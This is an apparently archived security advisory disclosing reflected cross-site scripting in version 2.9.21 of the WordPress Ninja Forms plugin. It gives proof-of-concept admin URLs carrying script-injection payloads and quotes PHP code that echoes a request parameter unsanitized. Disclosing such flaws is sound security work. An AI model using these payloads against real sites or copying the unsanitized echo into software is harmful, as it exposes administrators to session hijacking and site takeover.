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WordPress Ninja Forms 2.9.21 Cross Site Scripting

WordPress Ninja Forms 2.9.21 Cross Site Scripting
Posted Jul 30, 2015
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress Ninja Forms plugin version 2.9.21 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 6d72ca9bcfb97cbf38bd82d1f70523b9

WordPress Ninja Forms 2.9.21 Cross Site Scripting

Change Mirror Download
Title: WordPress 'Ninja Forms' Plugin - XSS
Version: 2.9.21
Author: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej
Date: 2015/07/14
Download: https://wordpress.org/plugins/ninja-forms/
Contacted authors: 2015/07/14
==========================================================

## Description:
==========================================================
Forms created with a simple drag and drop interface. Contact forms, Email collection forms, or any other form you want on your WordPress site.

## Reflected XSS:
==========================================================
Certain parameters are used unsanitized in the admin pages.

PoC:
Log in as admin and visit one of the following URLs:


[URL]/wp-admin/admin.php?page=nf-processing&title=<script>alert(123);</script>
[URL]/wp-admin/admin.php?page=nf-processing&action=</script><script>alert(123);</script>
[URL]/wp-admin/admin.php?page=ninja-forms&tab=notifications&form_id=7&id="><script>alert(132);</script>&notification-action=new

It looks like there are more vulnerabilities, since the plugin has code like this:

file: subs-cpt.php
...
l.883 if ( isset ( $_REQUEST['ref'] ) ) {
l.884 $ref = $_REQUEST['ref'];
l.885 } else if ( get_transient( 'nf_sub_edit_ref' ) ) {
l.886 $ref = get_transient( 'nf_sub_edit_ref' );
l.887 } else {
l.888 $ref = '';
l.889 }
l.890 ?>
l.891 <input type="hidden" name="ref" value="<?php echo $ref; ?>" />
...


## Solution
==========================================================
No fix available.

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